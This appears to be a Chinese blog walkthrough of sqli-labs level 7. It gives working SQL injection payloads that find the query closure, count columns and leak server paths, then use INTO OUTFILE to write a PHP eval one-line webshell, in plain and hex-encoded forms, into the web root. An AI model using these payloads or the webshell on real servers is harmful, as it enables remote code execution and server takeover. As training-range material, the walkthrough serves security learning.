SQL注入：sqli-labs靶场通关（第七关 一句话木马）

文件上传漏洞是什么

指程序员在编写文件上传的代码中,没有严格的过滤与控制,让恶意用户可以越权上传恶意脚本文件webshell(比如php,asp的一句话木马)，实施未经允许的非法操作。

into outfile语句使用的三个条件

1.具有root权限

2.在数据库配置文件中的 配置项含有：secure_file_priv=（注意在数据库中此项默认为secure_file_priv=null）

3.知道数据库的绝对路径

1.判断注入类型

?id=1'
?id=1"

?id=1')--+
?id=1'))--+

闭合点为 ')) ,注入类型为字符型

2.猜字段

?id=1')) order by 3--+
?id=1')) order by 4--+

有三个字段

3.修改php配置文件

secure_file_priv=''

4.查询是否修改

show GLOBAL VARTABLES LIKE 'secure%'

5.找绝对路径

?id=-1 union select 1,@@datadir,@@basedir

绝对路径为：C:/phpstudy/PHPTutorial/www/sqlilabs/less-7/

6.用into outfile函数写入一句话木马

一句话木马

<?php @eval($_POST['密码']);?>

3c3f70687020406576616c28245f504f53545b2731275d293b3f3e

into outfile函数可以将文件导入到数据库的目录中，通过这个命令我们可以将一句话木马导入

?id=1')) union select 1,"<?php @eval($_POST['1']);?>",3 into outfile 
'C:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\2.php'--+

?id=1')) union select 1,0x3c3f70687020406576616c28245f504f53545b2731275d293b3f3e,3 into outfile 
'C:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\2.php'--+

7.上传

总结:

免责声明：工具本身并无好坏，希望大家以遵守《网络安全法》相关法律为前提来使用该工具，支持研究学习，切勿用于非法犯罪活动，对于恶意使用该工具造成的损失，和本人及开发者无关。